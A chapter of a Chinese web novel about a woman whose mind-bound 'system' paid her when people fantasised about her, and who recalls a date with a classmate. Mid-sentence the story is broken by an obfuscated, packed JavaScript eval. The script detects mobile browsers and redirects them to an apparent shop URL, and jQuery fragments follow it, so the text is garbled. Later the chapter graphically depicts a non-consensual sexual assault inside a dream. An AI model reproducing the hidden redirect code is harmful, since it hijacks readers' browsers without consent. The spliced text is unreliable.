一套老小区的出租屋里。
窗户朝北,冬天漏风,夏天闷热。
屏幕上密密麻麻全是表格,光标一行一行往下跳。
凌晨一点半,许知微已经连续盯屏六个小时。
她揉了揉眼睛,正准备再跑一轮模型,脑海里忽然响起一个久违的声音。
【……咦?】
许知微的手顿了一下。那声音像是一个困惑的自言自语声。
她以为自己太累了,可那声音再次响起。
【怎么能这么少?】
果然没有消失。
“你谁?”她问,语气平静。
【主控。】
是系统,那个她以为早就被自己忘记的东西。
“你不是被我静音了吗?”她说。
【被静音的是提示音,又不是我。】
她坐直了,“什么意思?”
【意思是——】
【你绑定的系统,从十八岁起,一直在正常结算。】
她的第一反应是茫然。
“结算什么?”
【他人对你产生幻想。】
房间里很安静,只有电脑风扇在转。
许知微盯着屏幕,忽然觉得有点荒唐。
“结算成什么?”
【人民币。】对方的语气也鲜少带着些鄙视。
“那钱呢?”她问。
【已发放。】
她几乎是条件反射地低头去看手机。
银行卡、支付宝、微信——余额没有变化。
“骗人。”她说。
【就三千一百二十四块八毛一,我犯得上骗你?】
主控的语气依旧冷静。
【这么低的收益我还是第一次见,你哪怕谈个男朋友,这十年也能赚个个把万呢。】
【有些厉害的,去搞什么主播偶像,赚个千把万都不是事儿。】
她好似嘴角抽搐般慢慢笑了一下,思绪回到十八岁的那个晚自习,她第一次听到这个声音的时候。
她是在算一道数学压轴题的时候,听见系统声音的。
【叮——绑定成功。宿主确认。】
她皱了下眉,没有抬头。
草稿纸已经被她写满了一半,函数图像在脑子里刚刚画出来,她不想被任何无关紧要的东西打断。
【提醒:有人正在对你产生——】
“嘘。”她低声说了一句,下意识以为是自己太累,幻听了。
可那声音却毫不在意她的态度。
【幻想计数:1。收益——】
她的笔尖顿住了,语气不耐烦。
“还没完了?”
她抬头,教室里一排排白炽灯亮得刺眼,黑板右上角写着醒目的红字——
高考倒计时:97天。
前排男生在抓头,后排有人打哈欠,班主任站在讲台上低头批卷子。
【收益到账。】
她根本没听清是多少,只觉得这系统太吵了,打扰她学习了。
就像有人在你考试做到最关键的一道大题时,在耳边反复按计算器。
她深吸一口气,强行把注意力拉回题目。
“给我闭嘴。”她在心里警告。
系统没回她。
但它也没消失。
那天晚上,她睡不着——因为那声音像坏掉的闹钟,总在她刚要睡着的时候响起来。
【提醒:计数:7。】
【提醒:计数:9。】
【提醒:收益结算。】
她翻了个身,把被子拉过头顶,试图隔绝一切。
没用。
这东西严重影响她睡眠了。
第二天早自习,她同一道题竟然做错了。
第三天,她在物理课上走神,被点名。
到了第五天,她已经能在系统提示响起的瞬间,条件反射地骂一句。
“滚。”
【提示:累计50次,可解锁一次自定义功能。】
这提示让她终于来了兴趣:“什么功能?”
【提醒频率、提醒设置、查看权限、体验权限……】
提醒设置。
所以,只要她凑齐50个,就可以把这个骚扰系统关掉?
当天放学后,许知微做了一件在高三这个时间点,堪称作死的事。
她回家换了件平时不怎么穿的裙子,头发也没像往常一样随便扎起来,而是认真梳了下,甚至抹了妈妈的素颜霜。
她想快点凑够那五十次,把这破系统静音。
可第二天一早,她刚进教室,就被班主任叫了出去。
“你在干什么?”
班主任把她从上到下打量了一遍,眉头拧成一团:“心思不在学习上,是吧?还有九十多天高考了,你现在开始打扮给谁看?”
走廊里人来人往,几个同学假装路过,实际竖着耳朵。
许知微站得笔直,一句话没说。
“我跟你说过多少次,高三不许分心!”
“你成绩是不错,但就是这种自以为聪明的女学生最容易翻车!”
“把心思放正,别搞这些没个正经的东西!”
她被骂得狗血淋头。
等她回到座位,脸已经有点麻了。
同桌小声问她:“没事吧?”
她摇头,重新摊开卷子。她有些委屈,无处发泄,情绪让她更确定了一件事——
这个破骚扰系统,真的很碍事。
可那天晚上,系统却异常活跃。
【提醒:计数:48。】
【提醒:计数:49。】
她坐在书桌前,一边刷题,一边盯着脑子里的数字往上跳,像等一个倒计时结束。
【提醒:计数:50。】
她几乎是立刻点开界面。
【请选择自定义功能。】
没有犹豫。
她直接划到最下面。
“静音。”
【确认:关闭全部提醒。】
终于,她的世界又安静了。
*
思绪回到眼下。
“所以我静音的其实是一个赚钱外挂?”她嘴角一挑,她从未想过这个骚扰系统,竟然可以当作赚钱外挂使。
【是啊,你这都显著拉低了我的过往成绩。】
【同类宿主平均收益:五百万。】
五百万。
她想起自己这些年加过的班、算过的账、为了几千块年终奖熬过的夜。
原来她身上一直挂着一个不需要努力的选项,但她亲手把它关掉了?
“你现在出来,是要干什么?”她语气中带着恼怒,“嘲笑我?”
【系统即将到期,我本来是来提前收集数据的。】
“还有多久到期?”她再一次来了兴致。
觉得晚的时候,恰恰是最早的时候。
【剩余时间:三个月。】
*
凌晨两点,她终于躺在了床上,可闭着眼,却怎么都睡不着,因为主控的出现,她的记忆又一次回到了十八岁。
高考铃声响起,笔落下去,她只是把卷子往前推了一下,站起来,跟着人流往外走。
走廊里有人哭,有人笑,有人抱在一起拍照,她被挤着往前,却始终有点慢半拍,像是终于轻松下来之后,反而不知道该做什么了。
但也有好消息——她和顾呈考上了同一所大学。
这个结果出来的时候,她盯着屏幕看了很久,出于一种隐秘又小心的期待——
他会不会,也有一点点跟她一样的想法?
顾呈在读书时期,是很容易让人产生这种念头的人。
成绩好,永远在前排,却从不显得锋芒毕露;
长相干净,眉眼温和,说话时会认真看着你;
家里条件好,但从不炫耀,校服永远洗得很平整。
老师喜欢他,同学信任他。
女生们谈起他,总会下意识压低声音。
他对谁都很好,却从不越界。
那种分寸感,反而让人忍不住去猜——如果他真的喜欢一个人,会是什么样子?
成绩出来那天,他给她发消息:“以后又能一起上学。”
那句话很普通,可“一起”两个字还是让许知微在屏幕前傻笑了好久。
她想,这是命运在奖励她那三年的自律,也许,也是给她一个机会。
大学开学前,他们约会了一次。
看电影,吃饭,聊高中的事。顾呈还是老样子,说话温和,笑起来很轻,偶尔会认真听她讲一些其实并不重要的小事。
结账的时候,他自然地把账单拿过去,没有任何刻意。
夜色很好,路灯把两个人的影子拉得很长。
分别时,他站在她家楼下,像是想说什么,又犹豫了一下,最后只是笑了笑:“回去早点休息。”
许知微点头。
她回家的路上,心里一直在想一件事——他会不会,刚才是想给自己表白?
那种心思很轻,很小,却真实存在。
她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127070|196129||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回到房间,洗完澡,躺在床上。
——他,到家了么?
——他,也会躺在床上,回味今天的约会么?
那份疑问忽然让她想起了一个,被她静音很久的东西。
系统。
倒不是因为欲望,只是一种近乎本能的确认——如果这个系统还在,那它一定有答案。
于是她坐起身,点开脑海里的界面。
【查看权限:开启。】
界面像一片冷色的电脑桌面,安静地展开。
她的名字下,多了一条记录。
【来源:顾呈。】
那一瞬间,她的心跳明显快了一拍,盯着名字,没忍住笑了一下。
原来真的有。
原来不是只有她一个人。
那点隐秘的小女生心思,在这一刻被轻轻确认,甚至带着一点不合时宜的雀跃——
他果然,也想过她。
如果她停在这里,或许一切都不一样。
可她没有。
【是否进入神游?】
她的指尖在空气里停了停,最终点了是。
空气瞬间变成黏腻滚烫的糖浆,每一次呼吸都让肺叶沉重一分。月光是冰冷的同谋,静静勾勒出他绷紧的肩线,和那双眼睛里彻底陌生的、吞噬一切的漩涡。
“不……”她的声音逸出喉咙,却软弱得立刻消散在灼热的空气里,连她自己都听不真切。
想要后退,脊椎却死死钉在原处,仿佛与身下这片虚软的床垫融为一体。
大脑发出尖锐的自我防备指令——推开他,逃离这里——可命令如石沉大海,四肢百骸像被抽走了骨骼,灌满了温吞而沉重的水银。
终于,她惊恐地意识到,在他的意识里,根本控制不了自己。
他的手指扣上来,穿过她的指缝,收紧,力道大得让她腕骨生疼。
她拼尽全力想要抽离,哪怕只是一根手指的松动,可手臂的肌肉只是徒劳地绷紧、微颤,像被钉在标本板上的蝶翅,所有挣扎都化为无助的抖动。
她能感觉到自己指甲陷进自己掌心那点微不足道的刺痛,这是她对自己身体仅存的、可悲的掌控。
“别——”带着哭腔的乞求,换来的是他更倾轧下来的重量。
布料撕裂的“嗤啦”声,像一道闪电劈开她混乱的意识。
凉意猝然侵袭,是她的上衣,在非现实的空间里化作破碎的蝶翼,她眼睁睁看着,却连抬起手臂遮挡暴露都做不到。
她像被拆开了包装的礼物,所有防卫与遮掩都被轻易剥夺,只剩下赤裸裸的、无从躲藏的脆弱。
然后是他的牙齿,嵌进肩头的皮肉。
肩膀的疼痛袭来时,她甚至无法蜷缩缓解,身体被更紧地禁锢,连最本能的蜷缩都成了奢望。
她能感觉到皮肉在他的齿列下凹陷、变形,能感觉到温热的血或许正在渗出,与他的唾液混在一起。
她想尖叫,喉咙却像被扼住,只能发出破碎的呜咽。
眼泪汹涌得更急。
泪水滑过鬓角,浸湿了并不存在的枕头。她的视线模糊,绝望如同无边无际的、正在缓慢上涨的冰冷潮水,从脚底漫上来,淹没脚踝、膝盖、胸口,即将没过口鼻。
可她在这由他欲望构筑的囚笼里,连溺水者最后的扑腾都无法做到。
他的拇指揩去她的泪,指腹粗粝,动作却带着一种梦游般的温柔,与施加在她身上的暴力形成骇人的对比。
这种矛盾撕扯着她,比纯粹的粗暴更令人崩溃。
她宁愿他只是个纯粹的侵略者,好让她凝聚起全然的恨意,而不是此刻这般,在恐惧与一种诡异的、被珍视的错觉中粉身碎骨。
她绝望地闭上眼睛,最后的景象是他眼中火焰的余烬,和那片映不出她挣扎的、深不见底的黑暗,只剩下一个冰冷的认知:
——在他的梦里,她从来就不是参与者,只是一件被彻底使用的用品。
等到她终于在床上猛地坐起,呼吸紊乱,后背一片冰凉。
窗外的路灯亮着,房间里一切如常。
她没有如同在神游时哭。
她只是坐了很久,直到呼吸慢慢恢复。
脑子里只有一个念头反复出现:
她,不要这样。
第二天,她收到顾呈发来的消息。
“昨天很开心。”
她盯着那几个字,看了几秒,忽然觉得很陌生。
她没有再回他,也没有解释。
那种喜欢像被人从根部剪断。